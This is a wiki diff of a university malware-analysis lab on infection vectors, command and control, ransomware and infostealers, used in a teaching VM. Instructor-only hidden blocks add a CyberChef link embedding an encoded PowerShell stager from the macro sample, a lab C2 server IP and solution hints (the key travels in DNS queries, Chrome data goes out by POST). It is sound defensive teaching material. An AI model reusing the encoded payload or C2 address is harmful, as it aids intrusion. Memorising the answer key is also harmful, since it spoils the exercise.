Differences

This shows you the differences between two versions of the page.

Link to this comparison view

isc:labs:06 [2024/11/10 12:48]
vlad_iulius.nastase
isc:labs:06 [2025/11/10 11:35] (current)
florin.stancu [03. Ransomware]
Line 5: Line 5:
 **Ghid Command and Control** **Ghid Command and Control**
  
-[[https://docs.google.com/document/d/1sPfDPA6IvklVLTsZMk6FHv_vrWzu94E3qw-B3eWwSnw/edit?​usp=sharing]]+Server docs (WIP): 
 +  * [[https://github.com/cs-pub-ro/ISC-Malware-Lab/​tree/​master/server]]
  
-[[https://​outline.vladn.st/​s/​fcb3a6a5-da87-40a7-872a-39ad4a9aff43]]+OLD (pentru instrucțiuni de comenzi): 
 +  * [[https://​docs.google.com/​document/​d/​1sPfDPA6IvklVLTsZMk6FHv_vrWzu94E3qw-B3eWwSnw/​edit?​usp=sharing]] 
 +  * [[https://​outline.vladn.st/​s/​fcb3a6a5-da87-40a7-872a-39ad4a9aff43]]
  
 </​note>​ </​note>​
Line 14: Line 17:
 ===== Setup ===== ===== Setup =====
  
-For this lab we will use the provided Windows VM. Please [[https://​repository.grid.pub.ro/​cs/​isc/​ISC%20Malware%20Lab%20VM.zip|download it from here]] in advance (~12GB).+For this lab we will use the provided Windows VM. Please [[https://​repository.grid.pub.ro/​cs/​isc/​ISC_Malware_2025_LocalVM.7z|download it from here]] in advance (~12GB ​archived; **you will need ~30GB of free storage on your computer**).
  
-The VM is compatible with VMWare (Workstation ​and Player) ​>16. You can [[https://​softwareupdate.vmware.com/​cds/​vmw-desktop/​|download VMWare here]]. We recommend Workstation 17.+The VM should be compatible with VMWare (either ​Workstation ​or Player), VirtualBox and qemu+kvm (on x86_64!! will be very slow on Arm64). 
 +You can [[https://​softwareupdate.vmware.com/​cds/​vmw-desktop/​|download VMWare here]]. We recommend ​VMWare ​Workstation ​>= 17.
  
 <note warning> <note warning>
Line 25: Line 29:
 Every tool you need is already installed on the VM we provided. If it’s not on the taskbar, you can find it on your Desktop, in the folder named ''​%%Tools%%''​. Every tool you need is already installed on the VM we provided. If it’s not on the taskbar, you can find it on your Desktop, in the folder named ''​%%Tools%%''​.
 </​note>​ </​note>​
 +
 +If needed, we will also use [[https://​cloud.grid.pub.ro/​|Openstack]] (limited capacity). Use the ''​%%isc_prj%%''​ project and start a VM with the following specifications:​
 +  * Source: ''​%%ISC Malware Lab%%''​
 +  * Flavor: ''​%%m1.isc_malware_lab%%''​
 +You don't need to specify an SSH key, we will be using the browser console to interact with the virtual machine.
  
 ===== 00. Infection vector ===== ===== 00. Infection vector =====
Line 107: Line 116:
   * the flag for this exercise   * the flag for this exercise
   * the address for the attacker’s infrastructure (which you also observed in the sandbox results)   * the address for the attacker’s infrastructure (which you also observed in the sandbox results)
 +
 +<ifauth @isc>
 +<​hidden>​
 +<​code>​
 +olevba '​IMPORTANT FIANNCIAL DATA.xls'​
 +</​code>​
 +
 +[[https://​gchq.github.io/​CyberChef/#​recipe=Find_/​_Replace(%7B'​option':'​Regex','​string':'​%5B%22_%26%20%5C%5Cr%5C%5Cn%5D'​%7D,'',​true,​false,​true,​false)From_Base64('​A-Za-z0-9%2B/​%3D',​true,​false)Decode_text('​UTF-16LE%20(1200)'​)&​input=SkFCWEFHa0FiZ0F6QURJQUlBQTlBQ0FBUUFBaUFBMEFDZ0IxQUhNQWFRQnVBR2NBSUFCVEFIa0Fjd0IwQUdVQWJRQTdBQTBBQ2dCMUFITUFhUUJ1QUdjQUlBQlRBSGtBY3dCMEFHVUFiUUF1QUZJQWRRQnVBSFFBYVFCdEFHVUFMZ0JKQUc0QWRBQmxBSElBYndCd0FGTUFaUUJ5QUhZQWFRQmpBR1VBY3dBN0FBMEFDZ0J3QUhVQVlnQnNBR2tBWXdBZ0FHTUFiQUJoQUhNQWN3QWdBRmNBYVFCdUFETUFNZ0FnQUhzQURRQUtBRnNBUkFCc0FHd0FTUSIgXw0KICAgICYgIkJ0QUhBQWJ3QnlBSFFBS0FBaUFHc0FaUUJ5QUc0QVpRQnNBRE1BTWdBaUFDa0FYUUFOQUFvQWNBQjF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C&C) ===== ===== 02. Command and Control (C2 / C&C) =====
Line 126: Line 145:
  
 The C2 stager we used is a pretty simple one. If you want to read more about C2 capabilities you can read this [[https://​dominicbreuker.com/​post/​learning_sliver_c2_01_installation/​|awesome blog post series]] about Sliver. The C2 stager we used is a pretty simple one. If you want to read more about C2 capabilities you can read this [[https://​dominicbreuker.com/​post/​learning_sliver_c2_01_installation/​|awesome blog post series]] about Sliver.
 +
 +<ifauth @isc>
 +<​hidden>​
 +[[http://​194.182.164.149/​]]
 +</​hidden>​
 +</​ifauth>​
  
 ===== 03. Ransomware ===== ===== 03. Ransomware =====
Line 138: Line 163:
  
  
-Ransomware is a type of malware that encrypts documents and files on your computer, demanding a ransom to obtain a decryption key or program. In our case, the entire content of the ''​%%very_important_documents%%''​ folder on your Desktop has been encrypted.+Ransomware is a type of malware that encrypts documents and files on your computer, demanding a ransom to obtain a decryption key or program. In our case, the entire content of the ''​%%very_secret_documents%%''​ folder on your Desktop has been encrypted.
  
 But is there any way you can recover those files? Since we presume the attacker has a decryption key for your files, that means the ransomware must communicate in some way. Try and use Wireshark to see if any traffic seems out of the ordinary. But is there any way you can recover those files? Since we presume the attacker has a decryption key for your files, that means the ransomware must communicate in some way. Try and use Wireshark to see if any traffic seems out of the ordinary.
Line 146: Line 171:
 **FLAG 3 [20p]** **FLAG 3 [20p]**
  
-Try and find the decryption key.+Try and find the decryption key. Try to capture some DNS queries?
 </​note>​ </​note>​
  
Line 158: Line 183:
 You can also use any of the sandboxes you used at the first exercise and see what useful information they can provide. You can also use any of the sandboxes you used at the first exercise and see what useful information they can provide.
 </​note>​ </​note>​
 +
 +<ifauth @isc>
 +<​hidden>​
 +Cheia e trimisa ca DNS request (hex-encoded).
 +
 +<​code>​
 +.\decryptor.exe $hex_key .\very_important_documents
 +</​code>​
 +
 +Flag-ul din documente e sub trollface-ul din documentul ''​%%subiecte examen ISC.docx%%''​
 +</​hidden>​
 +</​ifauth>​
  
 ===== 04. Infostealers ===== ===== 04. Infostealers =====
Line 180: Line 217:
  
 Use ''​%%procmon64%%''​ to look for accessed files and network activity. By default ''​%%procmon64%%''​ shows what all current processes are doing. Try and filter for our process (look at what options ''​%%procmon64%%''​ offers you at the top of the window). Use ''​%%procmon64%%''​ to look for accessed files and network activity. By default ''​%%procmon64%%''​ shows what all current processes are doing. Try and filter for our process (look at what options ''​%%procmon64%%''​ offers you at the top of the window).
 +
 +<note tip>
 +**You need to run the binary again after setting up your filters!**
 +</​note>​
  
 Also try to have a look at the files that are managed by Chrome and check out the links at the end of the lab if you want to better understand how he passwords are stored. You also have a tool to explore SQLite databases installed already. Also try to have a look at the files that are managed by Chrome and check out the links at the end of the lab if you want to better understand how he passwords are stored. You also have a tool to explore SQLite databases installed already.
Line 191: Line 232:
 Make use of the sandboxes, maybe they also provide some useful information. See how it compares to what you find by manually analyzing the binary. Make use of the sandboxes, maybe they also provide some useful information. See how it compares to what you find by manually analyzing the binary.
 </​note>​ </​note>​
 +
 +<ifauth @isc>
 +<​hidden>​
 +Arhiva cu cookie-urile si parolele de la Chrome e trimisa ca POST request. (Wireshark > File > Export objects > HTTP)
 +</​hidden>​
 +</​ifauth>​
  
 ===== 05. [Bonus] Anti-reversing techniques ===== ===== 05. [Bonus] Anti-reversing techniques =====
  
-If you were brave enough to try and decompile the executables,​ you might have noticed they look like gibberish. If not, use Ghidra to have a look at one of the executables.+<del>If you were brave enough to try and decompile the executables,​ you might have noticed they look like gibberish. If not, use Ghidra to have a look at one of the executables.</​del>​
  
-The executables are missing any symbols and the code seems very hard to understand. That is because they are packed using [[https://​upx.github.io/​|UPX]]. While UPX is an executable packer, meant to be used for executable compression,​ it is also commonly used to make reverse engineering harder.+<del>The executables are missing any symbols and the code seems very hard to understand. That is because they are packed using [[https://​upx.github.io/​|UPX]]. While UPX is an executable packer, meant to be used for executable compression,​ it is also commonly used to make reverse engineering harder.</​del>​
  
-The good news is that you can also unpack ​it using UPX. It is already installed in your VM, so give it a try.+**Unfortunately**,​ we forgot to pack the binaries with UPX :( try to pack & unpack ​them manually instead ;)  
 +The UPX utility ​is already installed in your VM (inside Tools), so give it a try.
  
 After unpacking it, try to decompile it again using Ghidra. Does it look a little bit more readable? After unpacking it, try to decompile it again using Ghidra. Does it look a little bit more readable?
isc/labs/06.1731235721.txt.gz · Last modified: 2024/11/10 12:48 by vlad_iulius.nastase
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0